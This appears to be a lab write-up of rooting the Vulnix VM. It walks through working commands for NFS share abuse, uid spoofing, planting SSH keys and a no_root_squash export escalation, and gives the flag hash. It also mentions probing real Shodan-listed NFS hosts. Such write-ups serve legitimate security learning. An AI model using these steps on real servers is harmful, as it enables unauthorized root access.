I managed to find the time to play on a new vulnerable VM. This time, it will be Vulnix and will mainly be around exploiting vulnerable NFS shares. The VM was overall quite simple, but still learned me several things about NFS and how it plays with remote permissions.
Information gathering
As always, let’s start by a nmap scan (truncated for clarity).
root@kali:~# nmap -v -sS -A -T4 192.168.2.4 Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-04-04 05:34 EDT [...] Discovered open port 110/tcp on 192.168.2.4 Discovered open port 995/tcp on 192.168.2.4 Discovered open port 22/tcp on 192.168.2.4 Discovered open port 993/tcp on 192.168.2.4 Discovered open port 143/tcp on 192.168.2.4 Discovered open port 111/tcp on 192.168.2.4 Discovered open port 25/tcp on 192.168.2.4 Discovered open port 513/tcp on 192.168.2.4 Discovered open port 512/tcp on 192.168.2.4 Discovered open port 514/tcp on 192.168.2.4 Discovered open port 2049/tcp on 192.168.2.4 Discovered open port 79/tcp on 192.168.2.4 [...] PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0) 25/tcp open smtp Postfix smtpd 79/tcp open finger Linux fingerd |_finger: No one logged on. 110/tcp open pop3 Dovecot pop3d 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100003 2,3,4 2049/tcp nfs | 100003 2,3,4 2049/udp nfs | 100005 1,2,3 57467/udp mountd | 100005 1,2,3 60613/tcp mountd | 100021 1,3,4 39226/udp nlockmgr | 100021 1,3,4 50132/tcp nlockmgr | 100024 1 45015/tcp status | 100024 1 60188/udp status | 100227 2,3 2049/tcp nfs_acl |_ 100227 2,3 2049/udp nfs_acl 143/tcp open imap Dovecot imapd 512/tcp open exec netkit-rsh rexecd 513/tcp open login 514/tcp open shell Netkit rshd 993/tcp open ssl/imap Dovecot imapd 2049/tcp open nfs_acl 2-3 (RPC #100227)
Several services seem to be running.
SMTP
A SMTP server is running on port 25. We can use it to enumerate some of the users that are present on the server using smtp-user-enum:
root@kali:~# smtp-user-enum -M VRFY -U /usr/share/wordlists/dirb/common.txt -t 192.168.2.4 Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum ) ######## Scan started at Wed Apr 5 16:24:08 2017 ######### 192.168.2.4: backup exists 192.168.2.4: bin exists 192.168.2.4: daemon exists 192.168.2.4: games exists 192.168.2.4: irc exists 192.168.2.4: list exists 192.168.2.4: lp exists 192.168.2.4: mail exists 192.168.2.4: man exists 192.168.2.4: news exists 192.168.2.4: nobody exists 192.168.2.4: proxy exists 192.168.2.4: root exists 192.168.2.4: sync exists 192.168.2.4: sys exists 192.168.2.4: user exists ######## Scan completed at Wed Apr 5 16:24:14 2017 ######### 19 results. 4614 queries in 6 seconds (769.0 queries / sec)
Nothing very useful here. However, we can use the same tool to see that the user vulnix exists on the machine.
root@kali:~# smtp-user-enum -M VRFY -u vulnix -t 192.168.2.4 Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum ) ######## Scan started at Wed Apr 5 16:37:26 2017 ######### vm: vulnix exists ######## Scan completed at Wed Apr 5 16:37:26 2017 ######### 1 results. 1 queries in 1 seconds (1.0 queries / sec)
NFS
The server seems to be running a NFS service. We can list the exposed NFS shares.
root@kali:~# showmount -e 192.168.2.4 Export list for 192.168.2.4: /home/vulnix *
Awesome, a publicly accessible NFS share! 🙂
Gaining access
We start by attempting to mount locally the remote NFS share.
root@kali:~# mkdir vulnix root@kali:~# mount -t nfs 192.168.2.4:/home/vulnix ~/vulnix
The share mounts correctly, but unfortunately we can’t access it.
root@kali:~# ls vulnix ls: cannot open directory 'vulnix': Permission denied
Let’s take a closer look at the permissions.
root@kali:~# ls -ld vulnix drwxr-x--- 4 nobody 4294967294 4096 Apr 5 15:16 vulnix root@kali:~# stat vulnix File: 'vulnix' Size: 4096 Blocks: 8 IO Block: 32768 directory Device: 30h/48d Inode: 32917 Links: 4 Access: (0750/drwxr-x---) Uid: (65534/ nobody) Gid: (4294967294/ UNKNOWN)
The share seems to be owned by uid 65534 and gid 4294967294. The way NFS works with permissions is the following: to access a locally mounted share, your uid and gid need to match the ones of the shared directory on the server. Yep, that’s all.
Unfortunately, for “security” reasons, NFS 4 doesn’t show the real remote uid and gid, but the ones corresponding to the nobody user and group. However, NFS 3 does show the real remote uid and gid of the share owner. Since this machine supports NFS 3, we can simply instruct mount to use this version of the NFS protocol.
root@kali:~# mount -t nfs -o vers=3 192.168.2.4:/home/vulnix ~/vulnix root@kali:~# ls -ld vulnix drwxr-x--- 4 2008 2008 4096 Apr 5 15:16 vulnix
Now we can clearly see that the share is owned by a remote user with uid and gid 2008. We can create an user and a group matching these criteria, and have it access the mounted directory.
root@kali:~# groupadd --gid 2008 vulnix_group root@kali:~# useradd --uid 2008 --groups vulnix_group vulnix_user root@kali:~# sudo -u vulnix_user ls -l vulnix . .. .bash_logout .bashrc .profile
Looks good! Another solution would have been to use NfSpy, which essentially automates this process (but spoofs the uid and gid instead of actually creating an user).
root@kali:~# nfspy -o server=192.168.2.4:/home/vulnix,nfsport=2049/tcp,rw vulnix root@kali:~# ls -a vulnix . .. .bash_logout .bashrc .profile
Now that we have access to the vulnix user’s home directory, we can add our SSH public key in its authorized_keys file.
root@kali:~# mkdir vulnix/.ssh root@kali:~# cp ~/.ssh/id_rsa.pub vulnix/.ssh/authorized_keys
… and SSH on the machine.
root@kali:~# ssh [email protected] Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686) Last login: Wed Apr 5 19:53:39 2017 from 192.168.2.3 vulnix@vulnix:~$ id uid=2008(vulnix) gid=2008(vulnix) groups=2008(vulnix)
Here we go, we have a shell!
Privilege escalation
At this point, I took a bit of time to enumerate the files and services present on the machine.
The first thing I noticed was that the version of sudo installed was 1.8.3p1, which seems to be vulnerable to CVE-2012-0809. I spent a few hours trying to exploit it using a variation of this exploit before giving up. I believe the fact that the env_reset sudo option is enabled protects from this vulnerability.
The next interesting thing was the output of sudo -l :
vulnix@vulnix:~$ sudo -l
Matching 'Defaults' entries for vulnix on this host:
env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User vulnix may run the following commands on this host:
(root) sudoedit /etc/exports, (root) NOPASSWD: sudoedit /etc/exports
The last line means that the user vulnix is allowed to edit the file /etc/exports, which contains the definitions of the NFS shares.
vulnix@vulnix:~$ cat /etc/exports /home/vulnix *(rw,root_squash)
Let’s try to add a NFS share on / :
/ *(rw,no_root_squash)
One issue appears at this point: in order to take the NFS changes into account, one has to restart the NFS service or to run exportfs -a. Both are privileged commands that can only be run as root. I figured out that restarting the machine would work as well, but shutdown, poweroff & cie are also privileged commands.
I tried to find a way to have the system reboot by crashing it but didn’t manage to. Eventually I ended up rebooting the machine via VirtualBox, which does seem like cheating to me but is the solution given in the VM’s author walk through… I’m not a big fan of that as it doesn’t reflect what you’d have in the real world.
Anyway, after having restarted the machine, we can see the new NFS share:
root@kali:~# showmount -e 192.168.2.4 Export list for 192.168.2.4: / * /home/vulnix *
We can mount it just like before:
root@kali:~# mkdir vulnix_root root@kali:~# nfspy -o server=192.168.2.4:/,nfsport=2049/tcp,rw ~/vulnix_root root@kali:~# ls vulnix_root bin dev home lib media opt root sbin srv tmp var boot etc initrd.img lost+found mnt proc run selinux sys usr vmlinuz
Add our SSH key to the root user’s authorized_keys
root@kali:~# mkdir vulnix_root/root/.ssh root@kali:~# cp ~/.ssh/id_rsa.pub vulnix_root/root/.ssh/authorized_keys
… and connect via SSH!
root@kali:~# ssh [email protected] Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686) * Documentation: https://help.ubuntu.com/ System information as of Wed Apr 5 22:55:08 BST 2017 System load: 0.0 Processes: 93 Usage of /: 91.1% of 773MB Users logged in: 0 Memory usage: 4% IP address for eth0: 192.168.2.4 Swap usage: 0% => / is using 91.1% of 773MB Graph this data and manage this system at https://landscape.canonical.com/ Last login: Wed Apr 5 22:54:02 2017 from 192.168.2.3 root@vulnix:~# id uid=0(root) gid=0(root) groups=0(root)
leading us to the flag!
root@vulnix:~# ls /root trophy.txt root@vulnix:~# cat /root/trophy.txt cc614640424f5bd60ce5d5264899c3be
which, by the way, is the MD5 hash of Reb00tu53r. 🙂
Conclusion
This VM taught me several interesting things about NFS and the way it deals with permissions. It’s also interesting to see that Shodan lists more than 140’000 machines having a publicly available NFS service running. Out of a few ones I tried, several also had public available shares. Quite scary, isn’t it?
Thanks for reading!
Nice writeup